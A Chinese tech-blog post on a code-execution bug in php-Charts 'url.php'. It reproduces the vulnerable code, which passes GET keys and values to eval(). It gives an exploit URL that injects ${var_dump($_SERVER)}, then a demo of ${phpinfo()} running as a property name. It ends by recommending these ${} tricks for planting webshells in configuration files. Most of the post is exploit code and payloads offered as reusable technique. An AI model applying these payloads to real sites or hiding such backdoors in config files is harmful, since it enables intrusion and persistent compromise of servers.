好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

从php-Charts 'url.php'代码执行学到的小技巧

漏洞分析和利用在 这里 。

漏 洞 代 码: <?php         require("lib/phpchart.class.php");         $color_var=array("txt_col","line_col","bg_color");         $cname=$_GET["type"];         $chart=new PHP Chart($cname);                foreach($_GET as $key=>$value)         {                 if($value!="")                 {                         if(in_array($key,$color_var))                         eval('$chart->'.$key.'="#'.$value.'";');                         else if($value=='yes')                         eval('$chart->'.$key.'=true;');                         else if($value=='no')                         eval('$chart->'.$key.'=false;');                         else if(is_numeric($value))                         eval('$chart->'.$key.'='.$value.';');                         else                         eval('$chart->'.$key."='".$value."';");                 }         }         $chart->genChart(); 分析的话没什么好看的,直接看利用吧。/wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY。这样带进去的话就是:eval(‘$chart->${var_dump($_SERVER)}= \’ IZABEKAILOVEYOUBABY\’;’),因为对象没有这个属性会报错,但是var_dump($_SERVER)确是可以执行的。下面来个小实验:  <?php class Cart {     var $item;     function get_item() {         echo $this->item;     } }      $cart = new Cart(); $cart->${phpinfo()} = 'zhizi'; 当然这个phpinfo()还是会执行的。具体原理应该和php的类实现机制有关,但是php内部机制不太懂,也请懂的指点下。类似的还有: S = "{${@phpinfo()}}"     $arr = array(         'a'=>"b",         'c'=>${@phpinfo()}         ); 这些在配置文件中写马很有用。 

查看更多关于从php-Charts 'url.php'代码执行学到的小技巧的详细内容...

  阅读:39次